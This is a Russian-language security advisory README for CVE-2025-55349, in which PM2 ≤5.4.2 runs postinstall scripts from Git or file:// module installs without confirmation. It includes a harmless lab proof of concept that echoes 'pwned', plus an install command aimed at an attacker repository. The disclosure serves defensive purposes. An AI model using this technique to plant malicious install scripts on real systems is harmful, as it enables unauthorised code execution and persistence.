
репозиторий для CVE-2025-55349
postinstallОбнаружитель: Golden Ticket Labs
Поставщик: Unitech (pm2)
Дата присвоения: 20 августа 2025 г. (MITRE)
Проблема в компоненте lib/API/Modules/NPM.js Unitech PM2 v5.4.2 позволяет выполнять произвольный код при установке пакетов с подделанными скриптами postinstall.
PM2 автоматически запускает сценарии жизненного цикла postinstall из установок на основе Git или локальных файлов без изоляции или подтверждения пользователя, в том числе при вызове через:
Эта уязвимость сохраняется, даже если модуль сломан или неработоспособен, и код атакующего может пережить перезагрузку системы, если зарегистрирован как загрузочный модуль PM2. Затронутые версии
≤ 5.4.2 — Уязвимая
6.0.5 — Исправленная — Логика синтаксического анализа Git удалена (PR #5909), но исправление не было задокументировано и отсутствовало в журналах изменений.
Вектор атаки
Злоумышленник может подготовить вредоносный Git-репозиторий с файлом package.json, содержащим подделанный скрипт postinstall. При установке через PM2 скрипт выполняется автоматически:
pm2 install https://github.com/attacker/malicious-module.git
Воздействие
Выполнение кода, контролируемого злоумышленником, во время установки
Постоянство через загрузочные модули, управляемые PM2
Потенциальное перемещение по сети в средах, использующих общие или скриптовые установки
Технические подробности
PM2 рассматривает Git-репозитории как неявно доверенные во время установки модулей. Скрипты жизненного цикла, такие как postinstall, выполняются без изоляции, видимости или подтверждения.
Это влияет как на удаленные Git-URL, так и на локальные пути file://, что значительно расширяет поверхность атаки. Поскольку модули PM2 часто запускаются при загрузке системы, риск постоянства и внедрения несанкционированного поведения высок. Смягчение
Обновитесь до PM2 v6.0.5 или новее, где была удалена логика синтаксического анализа Git.
Избегайте установки модулей из ненадёжных Git-источников.
Подтверждение концепции (только лабораторное)
⚠️ Предоставленный код не является оружизированным эксплойтом. Это безопасная демонстрация.
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
На уязвимых версиях команда postinstall выполняется немедленно.
Ссылки
Фиксирующий коммит (удаление логики синтаксического анализа Git)
Релиз PM2 v6.0.5
Лицензия и отказ от ответственности
Весь контент в этом репозитории предоставлен только в образовательных и защитных целях. Эксплойт-нагрузки не включены. Не используйте эти техники против систем без явного разрешения. Контакты
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com